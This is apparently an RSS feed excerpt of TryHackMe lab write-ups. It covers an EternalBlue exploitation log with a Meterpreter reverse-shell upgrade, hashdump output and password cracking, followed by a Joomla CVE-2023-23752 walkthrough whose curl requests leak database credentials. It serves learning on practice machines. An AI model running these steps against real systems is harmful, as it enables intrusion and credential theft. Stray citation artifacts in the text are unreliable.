-l<br><br>Active sessions<br>===============<br><br>  Id  Name  Type               Information                                               Connection<br>  --  ----  ----               -----------                                               ----------<br>  2         shell x64/windows  Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.21.108.168:4444 -&gt; 10.10.103.76:49239 (10.10.103.76)<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; set SESSION 2<br>SESSION =&gt; 2<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; options<br><br>Module options (post/multi/manage/shell_to_meterpreter):<br><br>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection<br>   LHOST    10.21.108.168    no        IP of host that will receive the connection from the payload (Will try to auto detect).<br>   LPORT    4433             yes       Port for payload to connect to.<br>   SESSION  2                yes       The session to run this module on<br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; run<br><br>[*] Upgrading session ID: 2<br>[*] Starting exploit/multi/handler<br>[*] Started reverse TCP handler on 10.21.108.168:4433 <br>[*] Post module execution completed<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; <br>[*] Stopping exploit/multi/handler<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; <br>msf6 post(multi/manage/shell_to_meterpreter) &gt; run<br><br>[*] Upgrading session ID: 2<br>[*] Starting exploit/multi/handler<br>[*] Started reverse TCP handler on 10.21.108.168:4433 <br>[*] Post module execution completed<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; <br>[*] Sending stage (203846 bytes) to 10.10.103.76<br>[*] Stopping exploit/multi/handler<br>[*] Meterpreter session 3 opened (10.21.108.168:4433 -&gt; 10.10.103.76:49244) at 2024-12-28 13:04:26 -0500<br><br></pre><h3>explanation</h3><p>Here is an explanation of the inputs and outputs in your command line steps:</p><ul><li><strong>use windows/smb/ms17_010_eternalblue</strong>: Loads the EternalBlue exploit module, which targets the MS17-010 vulnerability in Windows systems. This sets the context for using this specific exploit.</li><li><strong>options</strong>: Displays the configurable parameters for the selected module. The options are divided into:</li><li><strong>Module options</strong>: Parameters required to target the victim system.</li><li><strong>Payload options</strong>: Parameters for the reverse TCP payload used to establish a connection back to the attacker.</li><li><strong>RHOSTS</strong>: Specifies the target IP address or addresses (e.g., 10.10.103.76).</li><li><strong>RPORT</strong>: Specifies the target port, which is 445 (SMB service).</li><li><strong>LHOST</strong>: Specifies the attacker&#39;s IP address for receiving the reverse shell (e.g., 10.21.108.168).</li><li><strong>LPORT</strong>: Specifies the attacker&#39;s port for the reverse shell (e.g., 4444).</li><li><strong>VERIFY_ARCH and </strong><strong>VERIFY_TARGET</strong>: Ensure the exploit matches the target architecture and OS.</li><li><strong>run</strong>: Executes the exploit. Outputs indicate:</li><li>The vulnerability check confirms the target is vulnerable.</li><li>Exploit stages involve memory buffer manipulation and payload delivery.</li><li>A successful exploit opens a command shell session.</li><li><strong>background</strong>: Puts the current session (e.g., session 2) into the background to allow further Metasploit commands to be executed.</li><li><strong>sessions -l</strong>: Lists active sessions with details:</li><li><strong>Id</strong>: The session ID.</li><li><strong>Type</strong>: Session type (e.g., shell x64/windows).</li><li><strong>Connection</strong>: Connection details between attacker and target.</li><li><strong>use post/multi/manage/shell_to_meterpreter</strong>: Loads a post-exploitation module to upgrade a shell session to a Meterpreter session.</li><li><strong>set SESSION 2</strong>: Selects session 2 for the module to act upon.</li><li><strong>run</strong>: Executes the module to upgrade the session. Outputs confirm:</li><li>A new Meterpreter session (e.g., session 3) is opened.</li><li>Details of the session, including connection and timing.</li></ul><p>These commands demonstrate the process of exploiting a vulnerable target, obtaining a shell, and upgrading to a more capable Meterpreter session for advanced post-exploitation tasks.</p><p>Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?</p><ul><li>jon</li></ul><pre>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions -l<br><br>Active sessions<br>===============<br><br>  Id  Name  Type                     Information                                               Connection<br>  --  ----  ----                     -----------                                               ----------<br>  2         shell x64/windows        Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.21.108.168:4444 -&gt; 10.10.103.76:49239 (10.10.103.76)<br>  3         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC                              10.21.108.168:4433 -&gt; 10.10.103.76:49244 (10.10.103.76)<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions -i 3<br>[*] Starting interaction with 3...<br><br>meterpreter &gt; <br>meterpreter &gt; hashdump<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::<br>meterpreter &gt;</pre><h3>Copy this password hash to a file and research how to crack it. What is the cracked password?</h3><ul><li>final answer <em>alqfna22</em></li></ul><pre>Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::</pre><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# ls              <br>hash  hassan.hossam.be.ovpn  rockyou.txt<br>                                                                                                                                                                                                                                            <br>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# john --format=NT --wordlist=rockyou.txt hash<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])<br>Warning: no OpenMP support for this hash type, consider --fork=2<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>alqfna22         (Jon)     <br>1g 0:00:00:00 DONE (2024-12-28 13:20) 2.083g/s 21250Kp/s 21250Kc/s 21250KC/s alqui..alpusidi<br>Use the &quot;--show --format=NT&quot; options to display all of the cracked passwords reliably<br>Session completed.</pre><h3>flag1</h3><pre>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions -l<br><br>Active sessions<br>===============<br><br>  Id  Name  Type               Information                                               Connection<br>  --  ----  ----               -----------                                               ----------<br>  2         shell x64/windows  Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.21.108.168:4444 -&gt; 10.10.103.76:49239 (10.10.103.76)<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions -i 2<br>[*] Starting interaction with 2...<br><br><br>Shell Banner:<br>Microsoft Windows [Version 6.1.7601]<br>-----<br><br>C:\Windows\system32&gt;<br>C:\Windows\system32&gt;cd C:\\<br>cd C:\\<br><br>C:\&gt;ls<br>ls<br>&#39;ls&#39; is not recognized as an internal or external command,<br>operable program or batch file.<br><br>C:\&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is E611-0B66<br><br> Directory of C:\<br><br>03/17/2019  01:27 PM                24 flag1.txt<br>07/13/2009  09:20 PM    &lt;DIR&gt;          PerfLogs<br>04/12/2011  02:28 AM    &lt;DIR&gt;          Program Files<br>03/17/2019  04:28 PM    &lt;DIR&gt;          Program Files (x86)<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Users<br>03/17/2019  04:36 PM    &lt;DIR&gt;          Windows<br>               1 File(s)             24 bytes<br>               5 Dir(s)  20,563,779,584 bytes free<br><br>C:\&gt;cat flag1.txt<br>cat flag1.txt<br>&#39;cat&#39; is not recognized as an internal or external command,<br>operable program or batch file.<br><br>C:\&gt;type flag1.txt<br>type flag1.txt<br>flag{access_the_machine}<br>C:\&gt;</pre><h3>Flag2</h3><ul><li>flag{sam_database_elevated_access}</li></ul><blockquote>hint; use search -f flag2.txt as meterpreter</blockquote><ul><li>note you need to ensure that you still have shell to meterpreter working!</li></ul><pre>C:\&gt;background<br><br>Background session 2? [y/N]  y<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; use post/multi/manage/shell_to_meterpreter<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; options<br><br>Module options (post/multi/manage/shell_to_meterpreter):<br><br>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection<br>   LHOST    10.21.108.168    no        IP of host that will receive the connection from the payload (Will try to auto detect).<br>   LPORT    4433             yes       Port for payload to connect to.<br>   SESSION  2                yes       The session to run this module on<br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions -l<br><br>Active sessions<br>===============<br><br>  Id  Name  Type               Information                                               Connection<br>  --  ----  ----               -----------                                               ----------<br>  2         shell x64/windows  Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.21.108.168:4444 -&gt; 10.10.103.76:49239 (10.10.103.76)<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; run<br><br>[*] Upgrading session ID: 2<br>[*] Starting exploit/multi/handler<br>[*] Started reverse TCP handler on 10.21.108.168:4433 <br>[*] Post module execution completed<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; <br>[*] Sending stage (203846 bytes) to 10.10.103.76<br>[*] Sending stage (203846 bytes) to 10.10.103.76<br>[*] Stopping exploit/multi/handler<br>[*] Meterpreter session 4 opened (10.21.108.168:4433 -&gt; 10.10.103.76:49270) at 2024-12-28 13:28:11 -0500<br>[*] Meterpreter session 5 opened (10.21.108.168:4433 -&gt; 10.10.103.76:49256) at 2024-12-28 13:28:11 -0500<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; <br>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions -l<br><br>Active sessions<br>===============<br><br>  Id  Name  Type                     Information                                               Connection<br>  --  ----  ----                     -----------                                               ----------<br>  2         shell x64/windows        Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.21.108.168:4444 -&gt; 10.10.103.76:49239 (10.10.103.76)<br>  4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC                              10.21.108.168:4433 -&gt; 10.10.103.76:49270 (10.10.103.76)<br>  5         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC                              10.21.108.168:4433 -&gt; 10.10.103.76:49256 (10.10.103.76)<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions -i 5<br>[*] Starting interaction with 5...<br><br>meterpreter &gt; <br>meterpreter &gt; search -f flag2.txt<br>Found 1 result...<br>=================<br><br>Path                                  Size (bytes)  Modified (UTC)<br>----                                  ------------  --------------<br>c:\Windows\System32\config\flag2.txt  34            2019-03-17 15:32:48 -0400<br><br>meterpreter &gt;</pre><pre>meterpreter &gt; shell<br>Process 1060 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.<br><br>C:\Windows\system32&gt;<br><br>C:\Windows\system32&gt;type c:\Windows\System32\config\flag2.txt<br>type c:\Windows\System32\config\flag2.txt<br>flag{sam_database_elevated_access}<br>C:\Windows\system32&gt;</pre><h3>flag3</h3><p>- let’s see if Jon has k***y files in his Documents. HAHA!</p><pre>C:\Windows\system32&gt;cd C:\Users\Jon<br>cd C:\Users\Jon<br><br>C:\Users\Jon&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is E611-0B66<br><br> Directory of C:\Users\Jon<br><br>12/12/2018  09:13 PM    &lt;DIR&gt;          .<br>12/12/2018  09:13 PM    &lt;DIR&gt;          ..<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Contacts<br>12/12/2018  09:49 PM    &lt;DIR&gt;          Desktop<br>12/12/2018  09:49 PM    &lt;DIR&gt;          Documents<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Downloads<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Favorites<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Links<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Music<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Pictures<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Saved Games<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Searches<br>12/12/2018  09:13 PM    &lt;DIR&gt;          Videos<br>               0 File(s)              0 bytes<br>              13 Dir(s)  20,563,779,584 bytes free<br><br>C:\Users\Jon&gt;cd Documents<br>cd Documents<br><br>C:\Users\Jon\Documents&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is E611-0B66<br><br> Directory of C:\Users\Jon\Documents<br><br>12/12/2018  09:49 PM    &lt;DIR&gt;          .<br>12/12/2018  09:49 PM    &lt;DIR&gt;          ..<br>03/17/2019  01:26 PM                37 flag3.txt<br>               1 File(s)             37 bytes<br>               2 Dir(s)  20,563,779,584 bytes free<br><br>C:\Users\Jon\Documents&gt;type flag3.txt<br>type flag3.txt<br>flag{admin_documents_can_be_valuable}<br>C:\Users\Jon\Documents&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gsu0pLJrbGbtU0DtW2oSvA.png" /></figure><ul><li>let’s see what AI can generate which image. haha</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*voYAY6zoug8xPm73" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ae6619fc48a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Joomify: CVE-2023–23752]]></title>
            <link>https://hassanbedair.medium.com/tryhackme-joomify-cve-2023-23752-3545b7a7482d?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/3545b7a7482d</guid>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Sat, 28 Dec 2024 10:12:44 GMT</pubDate>
            <atom:updated>2024-12-28T10:12:44.826Z</atom:updated>
            <content:encoded><![CDATA[<p>linkedin.com/in/hassan-hossam-bedair-/</p><p>inspired by engineer <a href="https://www.linkedin.com/in/mohab-mustafa/">https://www.linkedin.com/in/mohab-mustafa/</a></p><p>room <a href="https://tryhackme.com/r/room/joomify">https://tryhackme.com/r/room/joomify</a></p><h3>Author’s Notes</h3><ul><li>CMS Pentesting is great for learning as you; a beginner!</li><li>I suggest reading json in any app that formats json. ex. vs code or online json formatters</li></ul><h3>Task 2 How It works!</h3><p>What folder name contains the index.php code responsible for handling the API-based calls?</p><ul><li>api</li></ul><p>What folder name contains all the admin-related files and code in Joomla?</p><ul><li>administrator</li></ul><p>What GET request variable name can the attacker manipulate to trigger CVE 2023–23752?</p><ul><li>public</li></ul><h3>Understanding Task 2</h3><p>Joomla is a widely-used open-source Content Management System (CMS) that enables users to build and manage websites with ease. Pentesting Joomla involves assessing its security to identify vulnerabilities that could be exploited by attackers. One such vulnerability is CVE-2023–23752, which allows unauthorized users to access sensitive information through specific API endpoints.</p><h4><strong>Key Components in Joomla:</strong></h4><ul><li><strong>API Handling:</strong> The api folder contains the index.php file responsible for managing API-based calls. This file serves as the entry point for API requests, routing them to the appropriate controllers. citeturn0search5</li><li><strong>Administration Interface:</strong> The administrator directory houses all admin-related files and code. This section of Joomla provides the backend interface where site administrators can manage content, users, and extensions. citeturn0search6</li></ul><h4><strong>Understanding CVE-2023–23752:</strong></h4><p>CVE-2023–23752 is a vulnerability that allows unauthorized access to certain API endpoints in Joomla. An attacker can exploit this flaw by manipulating the public GET request variable, setting it to true to bypass authentication mechanisms. This can lead to unauthorized data exposure and potential compromise of the Joomla application. citeturn0search3</p><h4><strong>Mitigation Strategies:</strong></h4><p>To protect your Joomla site from such vulnerabilities:</p><ul><li><strong>Update Regularly:</strong> Ensure your Joomla installation and all extensions are up to date with the latest security patches.</li><li><strong>Restrict API Access:</strong> Limit access to API endpoints by configuring proper permissions and, if possible, disabling unused APIs.</li><li><strong>Monitor Logs:</strong> Regularly review server and application logs for unusual activity that may indicate exploitation attempts.</li></ul><p>For a practical demonstration of exploiting this vulnerability and understanding its implications, you can refer to the following walkthrough:</p><h3>Task 03 How to Exploit</h3><h4>Command</h4><pre>curl -v http://10.10.244.11/api/index.php/v1/config/application?public=true</pre><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# curl -v http://10.10.244.11/api/index.php/v1/config/application?public=true               <br>*   Trying 10.10.244.11:80...<br>* Connected to 10.10.244.11 (10.10.244.11) port 80<br>* using HTTP/1.x<br>&gt; GET /api/index.php/v1/config/application?public=true HTTP/1.1<br>&gt; Host: 10.10.244.11<br>&gt; User-Agent: curl/8.11.0<br>&gt; Accept: */*<br>&gt; <br>* Request completely sent off<br>&lt; HTTP/1.1 200 OK<br>&lt; Date: Sat, 28 Dec 2024 09:39:29 GMT<br>&lt; Server: Apache/2.4.41 (Ubuntu)<br>&lt; x-frame-options: SAMEORIGIN<br>&lt; referrer-policy: strict-origin-when-cross-origin<br>&lt; cross-origin-opener-policy: same-origin<br>&lt; Permissions-Policy: interest-cohort=()<br>&lt; X-Powered-By: JoomlaAPI/1.0<br>&lt; Expires: Wed, 17 Aug 2005 00:00:00 GMT<br>&lt; Last-Modified: Sat, 28 Dec 2024 09:39:31 GMT<br>&lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>&lt; Pragma: no-cache<br>&lt; Content-Length: 1989<br>&lt; Content-Type: application/vnd.api+json; charset=utf-8<br>&lt; <br>{&quot;links&quot;:{&quot;self&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/config\/application?public=true&quot;,&quot;next&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/config\/application?public=true&amp;page%5Boffset%5D=20&amp;page%5Blimit%5D=20&quot;,&quot;last&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/config\/application?public=true&amp;page%5Boffset%5D=60&amp;page%5Blimit%5D=20&quot;},&quot;data&quot;:[{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;offline&quot;:false,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;offline_message&quot;:&quot;This site is down for maintenance.&lt;br&gt;Please check back again soon.&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;display_offline_message&quot;:1,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;offline_image&quot;:&quot;&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;sitename&quot;:&quot;Joomify Website&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;editor&quot;:&quot;tinymce&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;captcha&quot;:&quot;0&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;list_lim* Connection #0 to host 10.10.244.11 left intact<br>it&quot;:20,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;access&quot;:1,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;debug&quot;:false,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;debug_lang&quot;:false,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;debug_lang_const&quot;:true,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbtype&quot;:&quot;mysqli&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;host&quot;:&quot;localhost&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;user&quot;:&quot;root&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;password&quot;:&quot;root@123&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;db&quot;:&quot;joomla_db&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbprefix&quot;:&quot;uh020_&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbencryption&quot;:0,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbsslverifyservercert&quot;:false,&quot;id&quot;:220}}],&quot;meta&quot;:{&quot;total-pages&quot;:4}}     </pre><h3>Explanation for previous command!</h3><p>The command curl -v http://10.10.244.11/api/index.php/v1/config/application?public=true is used to interact with a web server, specifically targeting a Joomla application&#39;s API endpoint. Let&#39;s break down the components of this command:</p><ul><li><strong>curl</strong>: A command-line tool for transferring data with URLs. It&#39;s commonly used to make HTTP requests.</li><li><strong>-v</strong>: Enables verbose mode in curl, providing detailed information about the request and response, including headers and status codes.</li></ul><p><strong>http://10.10.244.11/api/index.php/v1/config/application?public=true</strong>: This is the URL being accessed. It points to an API endpoint in a Joomla application hosted at the IP address 10.10.244.11.</p><ul><li><strong>/api/index.php</strong>: The entry point for API requests in Joomla.</li><li><strong>/v1/config/application</strong>: Specifies the API version (v1) and the resource (config/application) being accessed. In this context, it likely refers to the application&#39;s configuration settings.</li><li><strong>?public=true</strong>: A query parameter that sets the public variable to true. In the context of the CVE-2023-23752 vulnerability, this parameter is manipulated to bypass authentication mechanisms, granting unauthorized access to sensitive configuration data.</li></ul><h4><strong>Purpose of the Command:</strong></h4><p>By executing this curl command, an attacker attempts to exploit the CVE-2023-23752 vulnerability in a Joomla application. Setting the public parameter to true in the API request can bypass authentication checks, potentially allowing unauthorized access to the application&#39;s configuration settings. This can lead to the exposure of sensitive information, such as database credentials, which could be further exploited to compromise the application&#39;s security.</p><h4><strong>Security Implications:</strong></h4><p>Exploiting this vulnerability can have severe consequences, including unauthorized access to the application’s backend, data breaches, and potential full system compromise. It’s crucial for Joomla administrators to update their installations to patched versions and implement proper access controls to mitigate such risks.</p><p>What is the admin user’s email address for the vulnerable Joomla application?</p><ul><li>root@root.thm</li></ul><pre>                     <br>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# curl -v http://10.10.244.11/api/index.php/v1/users?public=true<br>*   Trying 10.10.244.11:80...<br>* Connected to 10.10.244.11 (10.10.244.11) port 80<br>* using HTTP/1.x<br>&gt; GET /api/index.php/v1/users?public=true HTTP/1.1<br>&gt; Host: 10.10.244.11<br>&gt; User-Agent: curl/8.11.0<br>&gt; Accept: */*<br>&gt; <br>* Request completely sent off<br>&lt; HTTP/1.1 200 OK<br>&lt; Date: Sat, 28 Dec 2024 09:51:41 GMT<br>&lt; Server: Apache/2.4.41 (Ubuntu)<br>&lt; x-frame-options: SAMEORIGIN<br>&lt; referrer-policy: strict-origin-when-cross-origin<br>&lt; cross-origin-opener-policy: same-origin<br>&lt; Permissions-Policy: interest-cohort=()<br>&lt; X-Powered-By: JoomlaAPI/1.0<br>&lt; Expires: Wed, 17 Aug 2005 00:00:00 GMT<br>&lt; Last-Modified: Sat, 28 Dec 2024 09:51:41 GMT<br>&lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>&lt; Pragma: no-cache<br>&lt; Content-Length: 402<br>&lt; Content-Type: application/vnd.api+json; charset=utf-8<br>&lt; <br>* Connection #0 to host 10.10.244.11 left intact<br>{&quot;links&quot;:{&quot;self&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/users?public=true&quot;},&quot;data&quot;:[{&quot;type&quot;:&quot;users&quot;,&quot;id&quot;:&quot;109&quot;,&quot;attributes&quot;:{&quot;id&quot;:109,&quot;name&quot;:&quot;root&quot;,&quot;username&quot;:&quot;root&quot;,&quot;email&quot;:&quot;root@root.thm&quot;,&quot;block&quot;:0,&quot;sendEmail&quot;:1,&quot;registerDate&quot;:&quot;2023-07-19 09:20:46&quot;,&quot;lastvisitDate&quot;:&quot;2023-07-20 10:38:18&quot;,&quot;lastResetTime&quot;:null,&quot;resetCount&quot;:0,&quot;group_count&quot;:1,&quot;group_names&quot;:&quot;Super Users&quot;}}],&quot;meta&quot;:{&quot;total-pages&quot;:1}}      </pre><p>What is the password for the database user root?</p><ul><li>root@123</li></ul><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# curl -v http://10.10.244.11/api/index.php/v1/config/application?public=truue<br>*   Trying 10.10.244.11:80...<br>* Connected to 10.10.244.11 (10.10.244.11) port 80<br>* using HTTP/1.x<br>&gt; GET /api/index.php/v1/config/application?public=truue HTTP/1.1<br>&gt; Host: 10.10.244.11<br>&gt; User-Agent: curl/8.11.0<br>&gt; Accept: */*<br>&gt; <br>* Request completely sent off<br>&lt; HTTP/1.1 200 OK<br>&lt; Date: Sat, 28 Dec 2024 09:53:52 GMT<br>&lt; Server: Apache/2.4.41 (Ubuntu)<br>&lt; x-frame-options: SAMEORIGIN<br>&lt; referrer-policy: strict-origin-when-cross-origin<br>&lt; cross-origin-opener-policy: same-origin<br>&lt; Permissions-Policy: interest-cohort=()<br>&lt; X-Powered-By: JoomlaAPI/1.0<br>&lt; Expires: Wed, 17 Aug 2005 00:00:00 GMT<br>&lt; Last-Modified: Sat, 28 Dec 2024 09:53:52 GMT<br>&lt; Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br>&lt; Pragma: no-cache<br>&lt; Content-Length: 1992<br>&lt; Content-Type: application/vnd.api+json; charset=utf-8<br>&lt; <br>{&quot;links&quot;:{&quot;self&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/config\/application?public=truue&quot;,&quot;next&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/config\/application?public=truue&amp;page%5Boffset%5D=20&amp;page%5Blimit%5D=20&quot;,&quot;last&quot;:&quot;http:\/\/10.10.244.11\/api\/index.php\/v1\/config\/application?public=truue&amp;page%5Boffset%5D=60&amp;page%5Blimit%5D=20&quot;},&quot;data&quot;:[{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;offline&quot;:false,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;offline_message&quot;:&quot;This site is down for maintenance.&lt;br&gt;Please check back again soon.&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;display_offline_message&quot;:1,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;offline_image&quot;:&quot;&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;sitename&quot;:&quot;Joomify Website&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;editor&quot;:&quot;tinymce&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;captcha&quot;:&quot;0&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;list_* Connection #0 to host 10.10.244.11 left intact<br>limit&quot;:20,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;access&quot;:1,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;debug&quot;:false,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;debug_lang&quot;:false,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;debug_lang_const&quot;:true,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;dbtype&quot;:&quot;mysqli&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;host&quot;:&quot;localhost&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;user&quot;:&quot;root&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;attributes&quot;:{&quot;password&quot;:&quot;root@123&quot;,&quot;id&quot;:220}},{&quot;type&quot;:&quot;application&quot;,&quot;id&quot;:&quot;220&quot;,&quot;at